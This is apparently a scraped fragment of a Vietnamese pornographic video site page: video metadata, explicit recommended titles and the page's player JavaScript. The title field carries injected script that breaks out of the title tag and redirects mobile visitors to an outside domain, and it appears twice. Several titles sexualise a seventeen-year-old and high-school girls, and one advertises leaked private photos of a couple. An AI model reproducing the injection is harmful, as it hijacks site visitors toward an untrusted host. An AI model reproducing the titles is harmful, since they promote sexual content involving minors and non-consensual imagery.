</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Cửa hàng tắm chân súp sữa gạo, Cho tôi xem ngực của em, Kéo dương vật to của tôi ra và để cô gái quan hệ bằng miệng. Em có thích dương vật của tôi không? Cởi quần ra và cưỡi lên tôi, thật tuyệt vời!</script><title>
Cửa hàng tắm chân súp sữa gạo, Cho tôi xem ngực của em, Kéo dương vật to của tôi ra và để cô gái quan hệ bằng miệng. Em có thích dương vật của tôi không? Cởi quần ra và cưỡi lên tôi, thật tuyệt vời!","site_id":0,"video_url":"https://lsbbf10.com/20260708/pOBTwl9W/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMTIwZThlMDQ1ZWM5Y2VhYzk5NDRkZGRiY2NiMmM2YTMuanBn.cache","duration":"41:04","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Con gái","Dương vật lớn","kỹ thuật viên","ngâm chân","nhũ hoa","giống","Đưa cho tôi","kỹ thuật viên nữ","Kỹ thuật viên nữ","Quần dài","của tôi","Tiệm massage chân","sữa","Rút ra","Cởi","Tuyệt vời!","Tuyệt vời!","Cho tôi xem","một lần","Nước vo gạo"],"site_url":"355303","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产探花"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMTIwZThlMDQ1ZWM5Y2VhYzk5NDRkZGRiY2NiMmM2YTMuanBn.cache","maker":"","table_name":"videos_laosebizy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"牛奶米汤足浴店搞女技师奶子给我看一下拔出大屌让妹子.口喜欢我的JB吗脱掉裤子骑上来太爽了","s_keywords":"牛奶米汤足浴店搞女技师奶子给我看一下拔出大屌让妹子.口喜欢我的JB吗脱掉裤子骑上来太爽了","s_description":"Cửa hàng tắm chân súp sữa gạo, Cho tôi xem ngực của em, Kéo dương vật to của tôi ra và để cô gái quan hệ bằng miệng. Em có thích dương vật của tôi không? Cởi quần ra và cưỡi lên tôi, thật tuyệt vời!","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGRhYjUyMzFkZGQzOTMwZDBjNmQ1OTQyMjc3MTcyMTkuanBn.cache","vod_id":18970610,"title":"AARM-065 Chị gái tôi đã cho dương vật của tôi vào quần lót của cô ấy và làm tôi lên đỉnh, sau đó quyến rũ tôi bằng chiếc quần lót dính đầy tinh dịch!!","lastmod":"2025-03-28","duration":"01:42:08","url":"/play/18970610.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjMtMS9kMGQzMTU5NDlmZmFiZmMzNWEwYjNhMzI0ZGFjM2NkMy5qcGc=.cache","vod_id":19126567,"title":"Để vợ tôi cảm nhận được tình yêu của tôi, tôi đã để cô ấy ở một mình với thằng em trai dâm đãng của tôi suốt ba tiếng đồng hồ... Câu chuyện NTR của tôi: Tôi đã sử dụng JUR-558 16 lần liên tiếp","lastmod":"2026-02-23","duration":"02:21:40","url":"/play/19126567.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDY4MDJjNTJmMGRhNTdiZGM5YTQ3YjM0ZDQzMDZjYjMuanBn.cache","vod_id":18997125,"title":"MIDV-128 Mặc quần áo khiêu gợi để kích thích dương vật to lớn mà người đàn ông yêu thích nhất, sau đó bóp nó để giúp anh ta trẻ lại – Sakurai Moe","lastmod":"2025-03-28","duration":"01:59:21","url":"/play/18997125.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTYzMGNkMWU4ODFhMjdmMzY0YzllNjMxMDY3NmEzYzUuanBn.cache","vod_id":18991113,"title":"Cô gái này thật may mắn khi được một người đàn ông giàu có bao nuôi.","lastmod":"2025-03-28","duration":"25:39","url":"/play/18991113.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTEzMTk2OGViODRjNTk2ZGZhN2Y0OTc2Mjk0NTMxYjguanBn.cache","vod_id":18987438,"title":"[Bản gốc phát hành lần đầu] Daisy cảm thấy nóng và cần cởi bộ áo ngực và quần lót màu cam của mình ra.","lastmod":"2025-03-28","duration":"59:48","url":"/play/18987438.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTcvYmFlY2NiY2ZhMTg2YWE2MTBiNDU1MmNkNjVkMmUxMjIuanBn.cache","vod_id":19101096,"title":"Câu chuyện có thật được gửi: Vợ tôi được nuông chiều 26 ~Thân thể người nổi tiếng bị nuốt chửng~ Tsuji Airi Tsuji Meiri NSFS325","lastmod":"2025-10-16","duration":"01:56:13","url":"/play/19101096.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTZhZjY4MmNhZjE1ZDFjZGI4NWRhNzI5ZTM3ZjhkMzEuanBn.cache","vod_id":19008666,"title":"Một cô gái trẻ xinh đẹp, mười bảy tuổi, đang tự vuốt ve cơ thể một cách quyến rũ trong mùa mưa. Cô ấy đi giày cao gót và cởi quần áo trong khi vuốt ve vùng kín hồng hào và mềm mại của mình trên giường – vô cùng quyến rũ! Đừng bỏ lỡ!","lastmod":"2025-03-28","duration":"54:02","url":"/play/19008666.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDU4M2ZmYWYzY2FiMTE0MTk0N2RiYjZiZDM1YzI1OGIuanBn.cache","vod_id":19134896,"title":"Một vài cô gái xinh đẹp, quyến rũ trong tất đen và đồng phục đang thể hiện sự ham muốn mãnh liệt, liếm ngực nhau.","lastmod":"2026-04-04","duration":"28:35","url":"/play/19134896.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTM4NWM0NDI3YzAyNzY4Y2Q1OTQ0ZmI1MTg3N2M2N2EuanBn.cache","vod_id":18982959,"title":"SSNI-543 Tôi thấy thầy giáo của mình, người đến cứu tôi, bị bọn côn đồ hành hung trong khi tôi đang tự thỏa mãn. Tình cảnh nhục nhã của một người đang yêu! Một kiểu NTR mới!! Hoshino Nami","lastmod":"2025-03-28","duration":"01:58:38","url":"/play/18982959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGQ0MDU1NjBjMzdmODk4YTU1NTBhMjNjMjBiZTU0MjkuanBn.cache","vod_id":19032716,"title":"[Nữ sinh viên du học] Quyến rũ một người nước ngoài có \"của quý\" lớn trong phòng karaoke, thân mật lắc lư trên ghế sofa.","lastmod":"2025-03-29","duration":"21:33","url":"/play/19032716.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjEtMS9hYmExOWYxNGU2YzcwOTY3MjhlMDk1ODE2NjkyMDNjMy5qcGc=.cache","vod_id":19126126,"title":"Âm đạo của tôi có thể dùng làm đồ chơi tình dục! Trong khi bố mẹ tôi đi du lịch, người chị họ ngực bự của bạn tôi đã xâm phạm không gian riêng của tôi trong bốn ngày, tận hưởng việc xâm nhập và quan hệ tình dục. (MIDA-442)","lastmod":"2026-02-21","duration":"01:59:43","url":"/play/19126126.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTNmZmMxMWEwNDVhN2E4ZDgzZTc4NTljMTBkN2RhZjEuanBn.cache","vod_id":19124187,"title":"Một ổ cứng lưu trữ đám mây cá nhân đã bị hack và rò rỉ, tiết lộ những bức ảnh nhạy cảm của một cặp đôi sinh viên đại học đang có mối quan hệ nồng nhiệt (phụ nữ lớn tuổi hơn/đàn ông trẻ tuổi hơn). Cô gái khá xinh đẹp với thân hình quyến rũ, tiếng rên rỉ của cô ấy rất gợi cảm, và lời thoại thì tục tĩu.","lastmod":"2026-02-12","duration":"59:00","url":"/play/19124187.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjQvNTIwYWI1ZTQxNGQxYzlmOGQ3OTk5ZjkzNzk3MjQ1YmUuanBn.cache","vod_id":19070872,"title":"Bạn gái tôi bị cha ruột phản bội và thậm chí còn có con. (Nonomiya Ameon DASS-079-C)","lastmod":"2025-04-24","duration":"02:25:28","url":"/play/19070872.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjg5YmM1OTk1ZDg2ODI3YmFhYjEyOWM3ZmRjZjMzZmIuanBn.cache","vod_id":19062804,"title":"Cô ấy sở hữu thân hình tuyệt vời với vòng một cỡ D căng tròn và đôi gò bưởi mềm mại, quyến rũ. Cô ấy thích được đưa dương vật giả vào từ phía dưới, trong khi vòng ba đầy đặn của cô ấy được ép sát vào tường để quan hệ từ phía sau.","lastmod":"2025-03-29","duration":"27:26","url":"/play/19062804.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGVmN2FhYjU0MGEwZGY4NDNjY2ViOWI5NzVmMGQxMDEuanBn.cache","vod_id":19012944,"title":"Một cô gái xinh đẹp, tóc ngắn, gợi cảm khoe thân hình mảnh mai khi đang tắm trong phòng tắm, rên rỉ và thở hổn hển một cách quyến rũ.","lastmod":"2025-03-28","duration":"31:40","url":"/play/19012944.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvM2MyZWFjNDlhZmU1YjE5ODM0MjNlN2Q1MDZiNjNkZTIuanBn.cache","vod_id":19124012,"title":"Cô bạn cùng lớp mắc chứng chuunibyou (hội chứng học sinh trung học) của tôi, chỉ cần tôi nghe lời cô ấy, là cô ấy dễ dàng khiến tôi làm theo ý muốn của tôi. Cô ấy là một nô lệ tình dục dễ chinh phục và đáng yêu. (Servant MUDR-346)","lastmod":"2026-02-11","duration":"01:59:07","url":"/play/19124012.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjU0MGY5ZWQ3Y2ZjNDA0ZjM1M2E2MTk5NTk5NTJkNDMuanBn.cache","vod_id":19136226,"title":"Mayu, cô gái trong phim \"Bạn tình\", là người chắc chắn sẽ quan hệ tình dục bất cứ khi nào họ gặp nhau. Mayu Suzuki","lastmod":"2026-04-11","duration":"01:51:54","url":"/play/19136226.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjkvOGUzYWNlNzcxMWRjOGYxNGI5ODYxMzhmZDBmNjlkYWEuanBn.cache","vod_id":19080893,"title":"Cô gái từ chối trả lại tiền, dẫn đến một cuộc tranh cãi.","lastmod":"2025-06-28","duration":"19:26","url":"/play/19080893.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODRmZDBlMDdhMTc1Y2MyMDM3MjlhOWUxN2E5YTFlYzIuanBn.cache","vod_id":18987414,"title":"[Bản gốc phát hành lần đầu] Scarlett Johansson thích sống giản dị và có phần phóng khoáng, nhưng vẫn muốn thể hiện điều đó với tất cả người hâm mộ của mình.","lastmod":"2025-03-28","duration":"44:57","url":"/play/18987414.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODRhOGU2MmM2MTY1NTczN2M4OGExMzEyNzJkNTZkYjQuanBn.cache","vod_id":18992016,"title":"Cậu nhỏ khổng lồ của bạn trai người nước ngoài khiến tôi cảm thấy như đang ở trên thiên đường.","lastmod":"2025-03-28","duration":"12:22","url":"/play/18992016.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTQvY2E3NTY4Nzk2MGI0ZDUyMDcyMGMyZmI4NDNmOWIyZjYuanBn.cache","vod_id":19112162,"title":"Một cô gái trông thuần khiết, ngây thơ với thân hình trắng nõn như hổ đã quan hệ tình dục bằng miệng với tôi và xuất tinh vào miệng cô ấy! Cô ấy thích ăn \"sữa\" nhất.","lastmod":"2025-12-14","duration":"10:44","url":"/play/19112162.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTcvODNjMzZiM2MyYjE0NjE0ODVkY2IxZDU2NTAxYTQ5NjguanBn.cache","vod_id":19155975,"title":"Tiếng rên rỉ của cô gái có vòng mông tuyệt đẹp này thật quyến rũ.","lastmod":"2026-07-16","duration":"03:16","url":"/play/19155975.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODU2ZmQzNzg4YTA0NDNlZDExNGFiNTNlMjFlMzYyNjYuanBn.cache","vod_id":19021320,"title":"2. Chương trình đặc biệt cuối năm của trường trung học: Quấy rối tình dục - Phiên bản phơi bày thân thể của nữ sinh: Cô gái xinh đẹp với vòng một lớn hoàn toàn không thích bị ép buộc phải phơi bày và làm nhục ngoài trời","lastmod":"2025-03-29","duration":"03:46:03","url":"/play/19021320.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDA0ZDM3NjI0NWUxMWFjZTBmYTE5NWFhNzZjNzE2NjkuanBn.cache","vod_id":19002735,"title":"Tôi gặp một người đẹp tóc dài, cô ấy mặc áo liền thân và tất lưới, đang cưỡi lên người tôi rất mạnh và ngực cô ấy rung lên bần bật.","lastmod":"2025-03-28","duration":"13:17","url":"/play/19002735.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Cửa hàng tắm chân súp sữa gạo, Cho tôi xem ngực của em, Kéo dương vật to của tôi ra và để cô gái quan hệ bằng miệng. Em có thích dương vật của tôi không? Cởi quần ra và cưỡi lên tôi, thật tuyệt vời!</script><title>',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}